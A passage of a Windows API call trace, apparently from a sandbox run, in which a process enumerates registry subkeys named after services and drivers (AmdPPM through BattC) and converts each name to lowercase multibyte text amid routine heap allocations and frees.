Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.325] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.325] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.325] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.326] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.326] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.326] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.326] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0188.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.327] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.327] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.327] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0188.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.328] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.328] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.328] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.328] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.329] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.329] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c88, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.329] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0188.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.329] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.330] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.330] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.330] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 